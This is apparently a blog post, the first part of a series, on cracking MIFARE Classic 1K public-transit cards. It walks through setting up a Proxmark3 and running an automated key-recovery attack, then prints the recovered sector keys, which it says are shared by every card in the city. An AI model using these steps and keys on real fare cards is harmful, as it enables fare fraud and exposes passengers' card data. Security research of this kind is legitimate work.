·

How We Fare with MIFARE

Reverse-engineering public transportation for fun and profit! Chinese gadgets included
Raffy Efrényi

Raffy Efrényi

@Raffy27

Read in Hungarian

Public transit offers a practical solution to many problems: it gets many people to many places, pretty often, and relatively cheaply. It does leave a bit to be desired in terms of comfort (and arriving on time is a form of art in and of itself), but a well-planned commute gets us to school, university, or work every morning. Since it's meant to serve a massive crowd, and passengers might just be passing through (making it impossible to identify them), we have a large-scale, anonymous distributed system. Let's see how this works in practice! What did the engineers think of, and what slipped through the cracks?

Some curious friends have been asking me about this writeup for a long time now... Better late than never, right?

So why is a system like this worth examining in the first place? What's at stake, and what can we get out of it? Here are a few ideas:

  • Free rides. If an attacker can trick the system and, say, get valid tickets without paying, that's obviously profitable for them and not so profitable for the operator. A sort of "living off the land," just in an urban environment.
  • Personal data. Who knows what they store about clients, and how? If data handling is poorly designed, we might find out things about others that we shouldn't.
  • Power over traffic. If it's possible to paralyze the entire city's public transit, an attacker can ruin a lot of people's day.
  • Deeper insight. How does all of this work legally? What about fines? Can they even identify passengers, and if so, how? Can our findings be generalized? Can we compare them to other systems?

The Subject

Going forward, we'll be examining the public transit infrastructure of a fictional city. This majestic town is called Seven Oaks. Although the folks living here generously allowed me to experiment with their system, I've replaced all of their identifiers and personal data for privacy reasons. Everything described here took place in a magical space and a magical time, that is, if it even happened at all. Any resemblance to actual events, locales, or real-world systems is purely coincidental :3

So how does this transit system work? Buses and trams run across town on predefined routes. Instead of paper tickets and passes, the residents of Seven Oaks rely on the marvels of modern technology:

  1. A resident books an appointment and visits the transit company's customer service office.
  2. They hand over their ID card to an employee and pay the fee.
  3. Their details are entered into the company's system.
  4. An employee takes a picture of the ID photo (not even the live specimen) using a webcam.
  5. The resident gets back a personalized card, onto which they can also load a transit pass.

Thanks to Alex, I can show you what a card looks like:

When we board a bus in town, we must validate our transit card. We do this by tapping the card against a nifty little machine mounted on the poles inside. Later, if a ticket inspector shows up, they ask for our card and check whether it's valid using their own handheld device.

By the way, this system also integrates with a bunch of other institutions. Kids going to school, for example, get free passes based on their gradebook, and university students (subject to the whims of administration personnel) can also score free or discounted passes. There are vending machines scattered around town where existing passes can be renewed, or where we can buy new passes and tickets if we don't feel like chatting with the ladies at the counter. Senior, employee, and other similar passes also exist.

A Little Recon

If we dig around a bit in archived news snippets, we can find out that the town rolled out this "new" system about 11 years ago, and we can even track down the name of the company that won the tender for its implementation. Let's call them StumpTech from now on. Since this is an enterprise system, and those rarely get major updates, knowing when it was introduced lets us make some educated guesses about the underlying technology (more on this later!).

Staying on the happy path for now, let's examine these transit cards! How exactly are they made? Do they carry any meaningful data, and if so, what? How do top-ups work, and how are validation and inspection actually implemented? Could we get valid cards some other way?

Enter a House of Cards

Flashback to when I knew nothing about smart card technology: my phone and my bus card once ended up in the same pocket. I noticed that a stock Android phone could detect and scan the card. After reading up on it, I learned that the card uses NFC, and the exact model can be easily identified with mobile apps. If we scan a bus card with NFC Tools, the following rows pop up:

PropertyValue
Tag typeISO 14443-3A
NXP - Mifare Classic 1k
Technologies availableNfcA, MifareClassic, NdefFormatable
Serial numberD6:47:E8:34
ATQA0x0004
SAK0x08
Memory information1 kBytes : 16 sectors of 4 blocks (16 bytes each)

So the city's public transit uses Mifare Classic 1K cards. It seems this card type is widespread; it's used in plenty of places for identification and subscription-based services. In Canada, Sweden, and Taiwan, it's used for buses and trains, and it's also super common as an office access card because manufacturers are lazy and build their products on top of it. Hmm, let's see what the datasheet says:

The first data block contains the IC manufacturer data. All sectors contain 3 blocks of 16 bytes for storing data.

So it doesn't just store an identifier; it might be holding actual data. Let's try reading it! But how?

A successful authentication has to be performed to allow any memory operation.

Uhuh, so we need a key for it. Since the validator machines work with every card, the keys are probably static (or at least derived from data we could otherwise extract from the cards) and aren't rotated often. Technically, they could be stored in a central database, but that would require some further workarounds.

Hunting for Keys

If I have physical access to something, it's impossible to hide its properties from me. I can physically read it (worst case, I can inspect its atoms), and nobody can stop me. At best, they can make the process more annoying.

So how can we get the key? After a bit of searching, it turns out there are several types of attacks:

  1. They might be using a known, default key. We try our luck with a Dictionary attack.
  2. Weak crypto. The algorithm is called Crypto1, and it uses a weak PRNG. We can exploit this to reconstruct the key from observed auth messages.
  3. Darkside attack. Due to an implementation flaw in the auth process, failed attempts allow us to deduce small pieces of the key, and we can repeat this until we obtain the whole thing.
  4. Nested attack. Once we have one valid sector key, we can analytically calculate the other auth sequences, which lets us recover the keys for the remaining sectors super fast (within seconds).
  5. Hardnested attack. If the PRNG is less predictable (which can be the case with some models), we can figure out the key using statistical cryptanalysis, though this needs a lot of attempts.

Since the validator device also knows the key and uses it during a scan, we could technically also just monitor an exchange to get the data.

I managed to borrow a few cards from some kind locals, who, upon hearing about my noble cause, were more than happy to help me investigate. I also put together a massive list of known keys and tested them with my phone, but unfortunately, none of them worked. I should mention that hardware tinkering is mostly foreign to me, but it's definitely fun. We're probably going to need a slightly more sophisticated tool.

The Proxmark Easy cost $30 on AliExpress, and according to a few user recommendations, it's the "gold standard" for jobs like this. It also comes in handy because it supports a bunch of known attacks out of the box, and it integrates well with Mifare cards.

Preparations

A month after placing the order, this cute little gadget arrived dressed in three layers of plastic and a cardboard box. I don't remember what came flashed on it from the factory, but I had already found out earlier that there's some custom firmware we can make use of: the Iceman fork.

After fumbling around a bit (it has two micro-USB ports: the front one is the right one because it actually supports data transfer; the side one only expects external power and can't be used to communicate), I plugged it in and managed to compile the firmware.

Terminal
$ sudo pacman -Syu --needed git base-devel readline bzip2 lz4 python gd bluez
$ sudo pacman -S --needed arm-none-eabi-gcc arm-none-eabi-newlib qt5-base
$ git clone https://github.com/RfidResearchGroup/proxmark3.git
$ cd proxmark3

$ cp Makefile.platform.sample Makefile.platform
# This needs PLATFORM=PM3GENERIC and LED_ORDER=PM3EASY
$ vi Makefile.platform

$ sudo make udev
$ make clean && make -j

Now we can flash it:

Terminal
$ ./pm3-flash-all

[=] Session log ~/.proxmark3/logs/log_20240517<hhmmss>.txt
[+] About to use the following files:
[+]    ~/Apps/proxmark3/client/../bootrom/obj/bootrom.elf
[+]    ~/Apps/proxmark3/client/../armsrc/obj/fullimage.elf
[+] Loading ELF file ~/Apps/proxmark3/client/../bootrom/obj/bootrom.elf
[+] ELF file version Iceman/master/v4.18341-223-g9787821a5-suspect 2024-05-16 19:27:36 4fc9bbc4f

[+] Loading ELF file ~/Apps/proxmark3/client/../armsrc/obj/fullimage.elf
[+] ELF file version Iceman/master/v4.18341-223-g9787821a5-suspect 2024-05-16 19:27:36 4fc9bbc4f

[+] Waiting for Proxmark3 to appear on /dev/ttyACM0
[|]  59 found
[+] Entering bootloader...
[+] (Press and release the button only to abort)
[+] Waiting for Proxmark3 to appear on /dev/ttyACM0
[/]  59 found
[=] Available memory on this board: 512K bytes

[=] Permitted flash range: 0x00100000-0x00180000
[+] Loading usable ELF segments:
[+]    0: V 0x00100000 P 0x00100000 (0x00000200->0x00000200) [R X] @0x94
[+]    1: V 0x00200000 P 0x00100200 (0x00001xxx->0x00001xxx) [R X] @0x298    ~

[+] Loading usable ELF segments:
[+]    0: V 0x00102000 P 0x00102000 (0x0004xxxx->0x0004xxxx) [R X] @0x98     ~
[+]    1: V 0x00200000 P 0x0014xxxx (0x00001xxx->0x00001xxx) [R X] @0x4xxxx  ~
[=] Note: Extending previous segment from 0x4xxxx to 0x4f000 bytes          ~

[+] Flashing...
[+] Writing segments for file: ~/Apps/proxmark3/client/../bootrom/obj/bootrom.elf
[+]  0x00100000..0x001001ff [0x200 / 1 blocks]
. ok
[+]  0x00100200..0x00101277 [0x1078 / 9 blocks]                             ~
......... ok

[+] Writing segments for file: ~/Apps/proxmark3/client/../armsrc/obj/fullimage.elf
[+]  0x00102000..0x00150fff [0x4f000 / 632 blocks]                           ~
...................................................................
        @@@  @@@@@@@ @@@@@@@@ @@@@@@@@@@   @@@@@@  @@@  @@@
        @@! !@@      @@!      @@! @@! @@! @@!  @@@ @@!@!@@@
        !!@ !@!      @!!!:!   @!! !!@ @!@ @!@!@!@! @!@@!!@!
        !!: :!!      !!:      !!:     !!: !!:  !!! !!:  !!!
        :    :: :: : : :: :::  :      :    :   : : ::    :
        .    .. .. . . .. ...  .      .    .   . . ..    .
...................................................................
...................................................................
........................................................... ok

[+] All done

[=] Have a nice day!

After running the tool, I was greeted by a stylish little CLI:

Terminal
$ ./pm3

[=] Waiting for Proxmark3 to appear...
[=] Session log ~/.proxmark3/logs/log.txt
[+] loaded `~/.proxmark3/preferences.json`
[+] Using UART port /dev/ttyACM0
[+] Communicating with PM3 over USB-CDC


 8888888b.  888b     d888  .d8888b.
 888   Y88b 8888b   d8888 d88P  Y88b
 888    888 88888b.d88888      .d88P
 888   d88P 888Y88888P888     8888"
 8888888P"  888 Y888P 888      "Y8b.
 888        888  Y8P  888 888    888
 888        888   "   888 Y88b  d88P
 888        888       888  "Y8888P"


 [ Diagnostics complete. You are the anomaly!  ]

 [ Proxmark3 ]

   MCU....... AT91SAM7S512 Rev A
   Memory.... 512 KB ( 74% used )
   Target.... PM3 GENERIC

   Client.... Iceman/master/v4.18341-223-g9787821a5 2024-05-16 19:27:36
   Bootrom... Iceman/master/v4.18341-223-g9787821a5-suspect 2024-05-16 19:27:36 4fc9bbc4f
   OS........ Iceman/master/v4.18341-223-g9787821a5-suspect 2024-05-16 19:27:41 4fc9bbc4f


[usb] pm3 -->

I ran a quick calibration on the device (hw tune), and everything looked fine. Interestingly enough, it picked up the cards much better when I placed them under the device rather than on the designated spot on top.

The commands are organized into modules, so after a simple scan (hf search), we can give it some more specialized instructions. For example, here's how we can inspect Mifare cards:

Terminal
$ hf mf info

[=] --- ISO14443-a Information ---------------------
[+]  UID: D6 47 E8 34
[+] ATQA: 00 04
[+]  SAK: 08 [2]

[=] --- Keys Information
[+] loaded  2 user keys
[+] loaded 61 keys from hardcoded default array
[=] <N/A>

[=] --- Magic Tag Information
[=] <N/A>

[=] --- PRNG Information
[+] Prng................. weak

Cracking the Key

There's a command that automatically runs through the attacks we talked about. Awesome. Let's see what it says.

Terminal
$ hf mf autopwn

[!] no known key was supplied, key recovery might fail
[+] loaded  8 user keys
[+] loaded 61 keys from hardcoded default array
[=] running strategy 1
[=] running strategy 2
[+] target sector   5 key type B -- found valid key [ FFFFFFFFFFFF ] (used for nested / hardnested attack)
[+] target sector   6 key type B -- found valid key [ FFFFFFFFFFFF ]
[+] target sector   9 key type B -- found valid key [ FFFFFFFFFFFF ]

[+] Target block    0 key type A
[-] Nested attack failed, trying again (1/10)

[+] Target block    0 key type A
[-] Nested attack failed, trying again (2/10)

[+] Target block    0 key type A
[-] Nested attack failed, trying again (3/10)
[+] Found 1 key candidates
[+] Target block    0 key type A -- found valid key [ 61C7CC81EFC2 ]
[+] target sector   0 key type A -- found valid key [ 61C7CC81EFC2 ]
...
[+] target sector  15 key type B -- found valid key [ 61C7CC81EFC2 ]

[+] found keys:

[+] -----+-----+--------------+---+--------------+----
[+]  Sec | Blk | key A        |res| key B        |res
[+] -----+-----+--------------+---+--------------+----
[+]  000 | 003 | 61C7CC81EFC2 | N | 61C7CC81EFC2 | R
[+]  001 | 007 | 61C7CC81EFC2 | R | 61C7CC81EFC2 | R
[+]  002 | 011 | 61C7CC81EFC2 | R | 61C7CC81EFC2 | R
[+]  003 | 015 | 61C7CC81EFC2 | R | 61C7CC81EFC2 | R
[+]  004 | 019 | 61C7CC81EFC2 | R | 61C7CC81EFC2 | R
[+]  005 | 023 | 61C7CC81EFC2 | R | FFFFFFFFFFFF | D
[+]  006 | 027 | 61C7CC81EFC2 | R | FFFFFFFFFFFF | D
[+]  007 | 031 | 61C7CC81EFC2 | R | 61C7CC81EFC2 | R
[+]  008 | 035 | 61C7CC81EFC2 | R | 61C7CC81EFC2 | R
[+]  009 | 039 | 61C7CC81EFC2 | R | FFFFFFFFFFFF | D
[+]  010 | 043 | 61C7CC81EFC2 | R | 61C7CC81EFC2 | R
[+]  011 | 047 | 61C7CC81EFC2 | R | 61C7CC81EFC2 | R
[+]  012 | 051 | 61C7CC81EFC2 | R | 61C7CC81EFC2 | R
[+]  013 | 055 | 61C7CC81EFC2 | R | 61C7CC81EFC2 | R
[+]  014 | 059 | 61C7CC81EFC2 | R | 61C7CC81EFC2 | R
[+]  015 | 063 | 61C7CC81EFC2 | R | 61C7CC81EFC2 | R
[+] -----+-----+--------------+---+--------------+----
[=] ( D:Dictionary / S:darkSide / U:User / R:Reused / N:Nested / H:Hardnested / C:statiCnested / A:keyA  )

[+] Generating binary key file
[+] Found keys have been dumped to `~/Documents/NFC/hf-mf-D647E834-key.bin`
[=] --[ FFFFFFFFFFFF ]-- has been inserted for unknown keys where res is 0
[=] transferring keys to simulator memory ( ok )
[=] dumping card content to emulator memory (Cmd Error: 04 can occur)
[=] downloading card content from emulator memory
[+] Saved 1024 bytes to binary file `~/Documents/NFC/hf-mf-D647E834-dump.bin`
[+] Saved to json file ~/Documents/NFC/hf-mf-D647E834-dump.json
[=] autopwn execution time: 16 seconds

Yup. That's it. We got the keys... with a single command. :P

Okay, if we actually read through the logs, there's a little more nuance to this operation:

  1. It tried a few default keys across all sectors. On three of them, the key FFFFFFFFFFFF worked. (D)
  2. Since it now had one valid key, it used a Nested attack (N) and, after 3 failed attempts, found the other key (which is an actual custom key).
  3. It tried that same custom key across all the remaining sectors (R), and that worked on every single one of them.

TL;DR: thanks to weak encryption and a few leftover default values, it managed to grab the custom key and crack the entire card in ~16 seconds. The loot got saved for later.

Testing this on other cards yielded the same result, which means they didn't even bother using different keys per card. The keys for every transit card in the city are:

61 C7 CC 81 EF C2
FF FF FF FF FF FF

Now we can finally read the data on the card... Or can we?

Next Up

Thanks for tagging along! I planned this as a 3- or 4-part adventure, so the next post will cover my attempts at making sense of the card's data structure, followed by building custom tools for it, before concluding. Now that we've got the keys, it's time to put them to use!

Leave a comment

Comments

No comments yet. Be the first one?